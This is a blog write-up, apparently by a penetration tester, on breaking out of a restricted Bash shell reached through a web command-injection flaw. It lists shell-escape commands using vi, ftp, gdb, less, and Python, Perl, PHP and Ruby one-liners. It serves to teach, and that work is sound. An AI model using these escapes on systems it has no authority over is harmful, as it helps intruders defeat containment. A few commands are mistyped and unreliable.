The tale of Restricted Shell bypass leading to Arbitrary Code Execution
Hello people, Pranav Gadekar here again and today I want to talk about a weird bug that I came across during the security assessment of a company. The bug was related to the Restricted Shell bypass. These kinds of bugs are not very common during Bug Bounty or Penetration Testing, but many of the Capture The Flag (CTF) challenge creators love this idea for the challenge, the prominent of those being breaking out of the restricted shell to get the flag. Because of this, I think it still deserves a write-up that will explain it for everyone.
So, first of all, let us check what Wikipedia has to say about the Restricted Shells:
‘’’
The restricted shell is a Unix shell that restricts some of the capabilities available to an interactive user session, or to a shell script, running within it. It is intended to provide an additional layer of security, but is insufficient to allow execution of entirely untrusted software.
‘’’
So, in Layman’s terms, restricted shell is used in places where the user is provided with the shell access to the system, but in a controlled manner, without allowing too much privileges.
This is where the “weird” part of the target application comes in. The application was allowing the users to execute certain shell commands from the web interface, and instead of blocking all other commands other than the ones that rare intended, the application was using a restricted shell in the backend to execute those commands. So, by adding a backdoor into the command input field, we could get a shell access to the system.
So, after getting the into the shell, the first instinct is to check the obvious things, like checking the environment variables using env or printenv, or checking the user accounts that are present by taking a look at /etc/passwd, but these commands did not work. It gave an error saying “Command Unavailable”. This gives a pretty good hint that we might be inside the restricted shell.
If you ever get into such scenario, check the type of shell that is being provided to us, as it gives a pretty good idea on what further steps should be performed.
To check the type of shell, we can use the following command:
$ echo $SHELL
This gave us the output as /bin/rbash, hinting that this is a modified and restricted Bash, that prevents several usual
operations. There are various ways that can be used to bypass the restricted shell and get access to the normal shell.
Some of these ways that I tried are given below. So understand that this is not a complete and an exhaustive list, and there many more ways to break out of restricted shell.
1. Using vi:
This is the simplest method to break out of restricted shell. As vi provides a way to run shell commands, we can directly start a normal shell from inside of vi. Simply run the following commands:
:set shell=/bin/bash
:sh
2. This is another very easy method. Check if ‘/’ is being allowed in the commands. If that is the case, we can directly run /bin/bash or /bin/sh to get the normal shell.
$ /bin/bash
$ /bin/sh
3. Starting an interactive shell:
If the $PATH variable has /bin in it, then we can directly start an interactive session using a -i option.
$ bash -i
4. If it is possible to run the cp command, then we can simply copy the /bin/bash or /bin/sh into the current directory and then execute them.
$ cp /bin/bash .
$ cp /bin/sh .
5. Check the permissions on the exported variables. If the PATH and SHELL are not set to ‘-rx’, that is readonly, then it is possible to change the values of these variables and use them to break out!
If PATH variable is writable, set it to some directory that contains the commands which can be used for escaping the shell.
Also, if SHELL variable is writable, change it to the shell that we want to achieve (bash, sh, etc.)
$ export SHELL=/bin/bash
Apart from vi, many other programs present on the Linux/*Nix systems allow us to execute shell commands.
6. ftp:
Shell commands can be run directly from the ftp.
ftp> !/bin/bash
7. gbd:
Similar to ftp, gbd can execute the system commands.
gdb> !/bin/bash
8. man/less/more:
These commands can also be used for this purpose.
!/bin/bash
Invoking Shells through different programming languages:
9. Python:
Most of the modern systems come with Python pre-installed in them. So, in many cases, this trick can come in handy.
$ python -c “import pty;pty.spawn(‘/bin/bash’)”
$ python -c ‘import os; os.system(“/bin/bash”)’
10. Perl:
$ perl -e ‘exec “/bin/bash”;’
11. PHP:
$ php -r “system(‘/bin/bash’);”
$ php -a then exec(“sh -i”);
12. Ruby:
$ exec “/bin/sh”
So, these are some of the common ways to break out of restricted shells. The approach that worked for me was the using Python to spawn the shell using os.system function. I was able get access to Bash shell and then perform all the tasks that web application was able to perform.
I hope you liked this and there was something to learn in this. I have added some references at the bottom of the article if you want to go in further depth about this topic. If you have any questions, DM me over on Twitter @PranavGadekar9. Until next time!
Further Reading:
https://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdf
https://d00mfist.gitbooks.io/ctf/content/escaping_restricted_shell.html